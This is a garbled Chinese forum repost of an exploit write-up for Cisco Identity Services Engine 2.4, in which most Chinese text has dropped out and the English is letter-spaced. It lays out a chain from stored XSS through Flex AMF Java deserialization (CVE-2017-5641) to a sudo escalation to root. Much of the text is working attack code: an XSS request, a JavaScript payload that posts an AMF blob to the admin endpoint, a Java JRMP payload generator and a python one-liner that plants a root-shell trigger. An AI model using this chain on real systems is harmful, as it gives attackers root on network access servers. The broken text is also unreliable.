[29057] 2021-07-08_【漏洞利用】思科身份服务引擎中的多个漏洞(以root身份从XSS到RCE)

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2021-07-08_【漏洞利用】思科身份服务引擎中的多个漏洞(以root身份从XSS到RCE)   r o o t     X S S     R C E O t s   2 0 2 1 - 0 7 - 0 8 O t s P e d r o   R i b e i r o   (   p e d r i b @ g m a i l . c o m   |   @ p e d r i b 1 3 3 7   )   A g i l e   I n f o r m a t i o n   S e c u r i t y   D o m i n i k   C z a r n o t a   (   d o m i n i k . b . c z a r n o t a @ g m a i l . c o m   )   ( I S E )     I S E 线 线   V P N   访   I S E   访 I S E     2 . 4 . 0 . 3 5 7     J a v a     r o o t     r o o t   访   I S E     R u b y     Y o u T u b e   h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = N Z m Z i d - 1 _ j U   A g i l e   I n f o r m a t i o n   S e c u r i t y   G r o u p e   T e c h n o l o g i e   D e s j a r d i n s     O l i v i e r   A r t e a u   # 2   F l e x   A M F   J a v a   H e c t o r   C u e s t a # 3   s u d o   .   # 1     # 2     # 3   C V E # 3   ( S I R )     C V E     I S E     2 0 1 9     5     2     2 . 4 . 0 . 3 5 7   A g i l e   I n f o r m a t i o n   S e c u r i t y     B e y o n d   S e c u r i t y     S S D     2 0 2 1     6     3 0     M a r k d o w n # 1 C W E - 7 9 C V E - 2 0 1 8 - 1 5 4 4 0   I S E     v 2 . 4 . 0 . 3 5 7   L i v e L o g S e t t i n g s S e r v l e t / /   L i v e L o g S e t t i n g s S e r v l e t d o G e t   H T T P H T T P 使 w r i t e w r i t e L i v e L o g S e t t i n g s ( )   C o l u m n s R o w s R e f r e s h _ r a t e     T i m e _ p e r i o d / o p t / C S C O c p m / m n t / d a s h b o a r d / l i v e A u t h P r o p s . t x t   H T T P   2 0 0   O K  
A c t i o n   " r e a d "   s e r v l e t   / o p t / C S C O c p m / m n t / d a s h b o a r d / l i v e A u t h P r o p s . t x t " t e x t / h t m l " G E T   / a d m i n / L i v e L o g S e t t i n g s S e r v l e t ? A c t i o n = w r i t e & C o l u m n s = 1 & R o w s = % 3 c % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 3 e % 6 1 % 6 c % 6 5 % 7 2 % 7 4 % 2 8 % 3 1 % 2 9 % 3 c % 2 f % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 3 e & R e f r e s h _ r a t e = 1 3 3 7 & T i m e _ p e r i o d = 1 3 3 7   J a v a s c r i p t   # 2   F l e x   A M F   J a v a   C W E - 5 0 2 C V E - 2 0 1 7 - 5 6 4 1   W e b     I S E     v 2 . 4 . 0 . 3 5 7   / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e   H T T P   P O S T     2 0 0   O K     A p a c h e   /   A d o b e   F l e x   A M F   ( B l a z e D S )     B l a z e D S     4 . 0 . 0 . 1 4 9 3 1   C V E - 2 0 1 7 - 5 6 4 1   A p a c h e   F l e x   B l a z e D S   4 . 7 . 2     A M F ( X )   J a v a     J a v a   A g i l e   I n f o r m a t i o n   S e c u r i t y D r a y T e k   V i g o r A C S       使 V i g o r A C S     A M F     i s e a d m i n p o r t a l   1 .     A M F   / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e     J a v a     ( J R M P )   2 .   使 y s o s e r i a l     J R M P     J R M P   3 .   使   R O M E     y s o s e r i a l   R o m e   ( 1 . 0   R C 2 )     J a v a   4 .     n c a t   I S E     i s e a m i n p o r t a l     s h e l l C o d e   W h i t e   M a r k u s   W u l f t a n g e 便 访 # 3   s u d o   1 .   C W E - 2 6 8 2 .     C V E   S S D - 3 7 7 8 3 .   4 .   5 .     i s e a d m i n p o r t a l   6 .     I S E     v 2 . 4 . 0 . 3 5 7   i s e a d m i n p o r t a l     s u d o ' s u d o   - l '     r o o t   G E T   / a d m i n / L i v e L o g S e t t i n g s S e r v l e t ? A c t i o n = r e a d   H T T P / 1 . 1 H T T P / 1 . 1   2 0 0   O K C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   1 6 4 S e r v e r :     < S e t t i n g s > < C o l u m n s > < C o l > 1 < / C o l > < / C o l u m n s > < R o w s > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < / R o w s > < R e f r e s h _ r a t e > 1 3 3 7 < / R e f r e s h _ r a t e > < T i m e _ p e r i o d > 1 3 3 7 < / T i m e _ p e r i o d > < / S e t t i n g s >   . . . U n s u p p o r t e d   A M F   v e r s i o n   X X X X X . . .         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / r e s e t M n t D b . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / r e s e t M n T S e s s D i r . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s e t d b p w . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s y n c _ e x p o r t . s h   *
  i s e a d m i n p o r t a l   使   r o o t   / / b i n / s h   s u d o     r o o t   s h e l l   # 2   ( A M F   R C E )   使   # 1   X S S 1 .     # 1   J a v a s c r i p t / a d m i n / L i v e L o g S e t t i n g s S e r v l e t   2 .   访   J a v a s c r i p t   使   A M F   J a v a   / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e X M L H t t p R e q u e s t   # 2   i s e a d m i n p o r t a l   3 .   s h e l l 使 # 3 r o o t p y t h o n / o p t / C S C O c p m / b i n / f i l e - i n f o . s h i f 1 3 3 7 r o o t / b i n / b a s h 使   r o o t s h e l l   R u b y   J a v a s c r i p t           ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s y n c _ i m p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ e x p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ i m p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p a r t i a l _ s y n c _ c l e a n u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / t t c o n t r o l . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / u p d a t e w a l l e t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / l o g - l i s t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / f i l e - i n f o . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / d e l e t e - l o g - f i l e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / d e b u g - l o g - c o n f i g . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s h o w i n v . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e b a c k u p c a n c e l . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / n s s u t i l s . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / k i l l s u b n e t s c a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / t h i r d p a r t y g u e s t v l a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e - 3 r d p t y - g u e s t v l a n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / m n t / b i n / C h e c k D i s k S p a c e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / g e n b a c k u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / c r e a t e H C T O n P A P S c r i p t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / b a c k u p H o s t C o n f i g T a b l e s O n P A P . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / d i c t i o n a r y _ a t t r i b u t e _ u p d a t e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / d e l e t e g u e s t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / u p g r a d e / b i n / i s e u p g r a d e - d b e x p o r t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ b a c k u p . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ r e s t o r e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p x g r i d _ s y n c . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / p b i s _ m o n i t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / p r r t / b i n / F I P S _ l o c k d o w n . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / i s e u p g r a d e u i . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s h o w _ i o w a i t . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / k e r b e r o s p r o b e . s h   *         ( r o o t )   N O P A S S W D :   / o p t / C S C O c p m / b i n / s x p - s e r v e r c o n t r o l . s h   * p y t h o n   - c   ' i m p o r t   o s ; f = o p e n ( " / o p t / C S C O c p m / b i n / f i l e - i n f o . s h " ,   " a + " ,   0 ) ; f . w r i t e ( " i f   [   " $ 1 "   = =   1 3 3 7   ] ; t h e n n / b i n / b a s h n f i n " ) ; f . c l o s e ( ) ; o s . s y s t e m ( " s u d o   / o p t / C S C O c p m / b i n / f i l e - i n f o . s h   1 3 3 7 " ) ' < s c r i p t > f u n c t i o n   b 6 4 t o B l o b ( b 6 4 D a t a ,   c o n t e n t T y p e ,   s l i c e S i z e )   {     c o n t e n t T y p e   =   c o n t e n t T y p e   | |   ' ' ;     s l i c e S i z e   =   s l i c e S i z e   | |   5 1 2 ; v a r   b y t e C h a r a c t e r s   =   a t o b ( b 6 4 D a t a ) ; v a r   b y t e A r r a y s   =   [ ] ; f o r   ( v a r   o f f s e t   =   0 ;   o f f s e t   <   b y t e C h a r a c t e r s . l e n g t h ;   o f f s e t   + =   s l i c e S i z e )   { v a r   s l i c e   =   b y t e C h a r a c t e r s . s l i c e ( o f f s e t ,   o f f s e t   +   s l i c e S i z e ) ; v a r   b y t e N u m b e r s   =   n e w   A r r a y ( s l i c e . l e n g t h ) ; f o r   ( v a r   i   =   0 ;   i   <   s l i c e . l e n g t h ;   i + + )   {             b y t e N u m b e r s [ i ]   =   s l i c e . c h a r C o d e A t ( i ) ;         } v a r   b y t e A r r a y   =   n e w   U i n t 8 A r r a y ( b y t e N u m b e r s ) ;
A M F   J a v a     M a v e n   / C i s c o     # 1     2 . 2 . 0 . 9 1 3     2 . 4 . x   C i s c o     # 2     2 . 4 . 0 . 9 0 5   3 2 0 1 9 5 2 v a r   b y t e A r r a y   =   n e w   U i n t 8 A r r a y ( b y t e N u m b e r s ) ;         b y t e A r r a y s . p u s h ( b y t e A r r a y ) ;     } v a r   b l o b   =   n e w   B l o b ( b y t e A r r a y s ,   { t y p e :   c o n t e n t T y p e } ) ; r e t u r n   b l o b ; } b 6 4 _ p a y l o a d   =   ' c G l z c 2 F u Z X N z Z W N 1 ' ; v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ; x h r . o p e n ( " P O S T " ,   ' h t t p s : / / 1 0 . 1 0 . 1 0 . 4 4 / a d m i n / m e s s a g e b r o k e r / a m f s e c u r e ' ,   t r u e ) ; x h r . s e n d ( b 6 4 t o B l o b ( b 6 4 _ p a y l o a d ,   ' a p p l i c a t i o n / x - a m f ' ) ) ;   < / s c r i p t > p a c k a g e   u k . c o . a g i l e i n f o s e c . a c s f l e x ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . M e s s a g e B o d y ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . A c t i o n M e s s a g e ; i m p o r t   f l e x . m e s s a g i n g . i o . S e r i a l i z a t i o n C o n t e x t ; i m p o r t   f l e x . m e s s a g i n g . i o . a m f . A m f M e s s a g e S e r i a l i z e r ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   A C S F l e x   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 O b j e c t   u n i c a s t R e f   =   g e n e r a t e U n i c a s t R e f ( a r g s [ 0 ] ,   I n t e g e r . p a r s e I n t ( a r g s [ 1 ] ) ) ; / /   s e r i a l i z e   o b j e c t   t o   A M F   m e s s a g e t r y   { b y t e [ ]   a m f   =   n e w   b y t e [ 0 ] ;                         a m f   =   s e r i a l i z e ( ( u n i c a s t R e f ) ) ;                         D a t a O u t p u t S t r e a m   o s   =   n e w   D a t a O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( a r g s [ 2 ] ) ) ;                         o s . w r i t e ( a m f ) ;                         S y s t e m . o u t . p r i n t l n ( " D o n e ,   p a y l o a d   w r i t t e n   t o   "   +   a r g s [ 2 ] ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } p u b l i c   s t a t i c   O b j e c t   g e n e r a t e U n i c a s t R e f ( S t r i n g   h o s t ,   i n t   p o r t )   {                 j a v a . r m i . s e r v e r . O b j I D   o b j I d   =   n e w   j a v a . r m i . s e r v e r . O b j I D ( ) ;                 s u n . r m i . t r a n s p o r t . t c p . T C P E n d p o i n t   e n d p o i n t   =   n e w   s u n . r m i . t r a n s p o r t . t c p . T C P E n d p o i n t ( h o s t ,   p o r t ) ;                 s u n . r m i . t r a n s p o r t . L i v e R e f   l i v e R e f   =   n e w   s u n . r m i . t r a n s p o r t . L i v e R e f ( o b j I d ,   e n d p o i n t ,   f a l s e ) ; r e t u r n   n e w   s u n . r m i . s e r v e r . U n i c a s t R e f ( l i v e R e f ) ;         } p u b l i c   s t a t i c   b y t e [ ]   s e r i a l i z e ( O b j e c t   d a t a )   t h r o w s   I O E x c e p t i o n   {                 M e s s a g e B o d y   b o d y   =   n e w   M e s s a g e B o d y ( ) ;                 b o d y . s e t D a t a ( d a t a ) ;                 A c t i o n M e s s a g e   m e s s a g e   =   n e w   A c t i o n M e s s a g e ( ) ;                 m e s s a g e . a d d B o d y ( b o d y ) ;                 B y t e A r r a y O u t p u t S t r e a m   o u t   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 A m f M e s s a g e S e r i a l i z e r   s e r i a l i z e r   =   n e w   A m f M e s s a g e S e r i a l i z e r ( ) ;                 s e r i a l i z e r . i n i t i a l i z e ( S e r i a l i z a t i o n C o n t e x t . g e t S e r i a l i z a t i o n C o n t e x t ( ) ,   o u t ,   n u l l ) ;                 s e r i a l i z e r . w r i t e M e s s a g e ( m e s s a g e ) ; r e t u r n   o u t . t o B y t e A r r a y ( ) ;         } }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则